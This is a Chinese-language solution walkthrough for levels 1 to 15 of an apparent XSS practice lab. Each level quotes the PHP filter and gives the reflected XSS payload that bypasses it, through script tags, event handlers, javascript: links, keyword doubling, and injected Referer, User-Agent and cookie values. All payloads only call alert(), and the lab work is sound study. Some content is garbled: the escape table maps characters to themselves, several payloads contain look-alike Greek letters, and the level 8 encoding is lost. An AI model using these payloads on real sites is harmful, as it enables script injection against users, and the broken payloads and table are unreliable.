第1关
想要深刻理解xss就要理解源代码是怎么样的,就先从新手关里看看
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
直接获取一个叫name,并且输出这个name的值在界面上,所以我叫
?name=<script> alert(1) </script>
不过分吧
我们去看看
输完直接弹窗了
里面应该是欢迎用户什么都没有
第2关
先往输入框里输入
<script> alert(1) </script>
WTF?
我输对了啊,怎么不弹窗啊
看一眼界面源代码
原来是给我转义了
再看眼php源代码
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
原来是htmlspecialchars()函数的问题,他会将以下字符转义
字符 | 转义 |
---|---|
> | > |
< | < |
& | & |
" | " |
’ | ’ |
你放心接下来还会看见的
所以我们只能另寻道路
<input name=keyword value="'.$str.'">
天无绝人之路啊,直接把value给闭合了,再注入script就可以了
"><script>alert('xss')</script>//
其中">进行闭合,而//则是注释掉
第3关
看了眼源代码,是两个都打上了htmlspecialchars()函数,就问你恶心不?
怎么办,那就弄一个点击事件得了
onclick该上场了
' οnclick='alert(1)' >//
不是再另外生成js脚本,而是直接生成一个点击事件
第4关
先试试第一关的办法
上面肯定是被转义了,下面是直接把<>给去掉了
那就再试试第三关的办法,把onclick代进去
" onclick='alert(1)' //
第5关
试一下第一关的办法,直接写进去
直接给我加_避免恶意注入了
没关系,试一下第4关的办法
诶,也不生效
赶紧去看下html界面
好家伙on也直接再中间加了个_
看了下源代码
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
欸嘿,还转小写.
不过,不着急
我们还可以写入一个恶意的超链接
因为他又没value的值进行检测
所以我们又可以乱写啦
"> <a href=javascript:alert('xss') > xss</a> //
第6关
先看眼源代码,淦
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
好家伙,不能像上一关那样直接写个网页了
但是他没有强制转小写啊,然后进行检测
嘿嘿,直接里面套个onclick处理
" Onclick='alert(1)' >//
第7关
看了眼源代码
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
眉头一皱,觉得事情有点不简单,tm这不是直接没了,还带转小写的
没事,魔高一尺,道高一丈,我让你删了后正好是我想要的字符不就完事了吗?
" oonnclick='alert(1)' //
欸嘿
你把我的on去掉了变成了onclick
第8关
一个友情连接吗?
肯定没这么简单 在看眼源代码
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
前面的各种骚操作都失效了,怎么办?
诶!我给他翻译翻译不就完事了吗?
javascript='alert(1)'
转码为poc
javascript:alert(1)
直接输进去就可以了
第9关
跟第8关一样,只不过多了个http://检测
直接alert(‘http://’)就行
可以局部转换
javascript:alert('xsshttp://')
第10关
看一眼源代码
有个t_sort在里面,只是进行<>检测
那么直接来个onclick
&t_sort=" type="text" οnclick="alert('xss')
可以看见直接不隐藏了,只是因为type优先第一个
第11关
再看一眼源代码
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
我们发现都会进行转码处理
诶 他没对http头进行处理,那么机会来了
抓包!
referer:"type="text" οnclick="alert('xss')
点一下那个方块就完事了
第12关
这个就跟第11关是一样的,要抓包,改头文件
只不过http头变为了 user-agent
user-agent:" type="text" onclick="alert('xss')
第13关
直接改cookie
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
我们发现他找到user的cookie 直接使用不处理
利用cookieEditor,也可以抓包
再刷新下界面
旧戏重演
第14关
不知道为啥用不了,直接15关
第15关
啥都没有,有点怪
看眼源代码
<span class="ng-include:'.htmlspecialchars($str).'">
我们可以利用ng-include.这相当于c语言里的clude
直接给他个有漏洞的php网页不就可以了吗?
?src='level1.php?name=<img src=1 οnerrοr=alert(1)>'
好了,结束,下班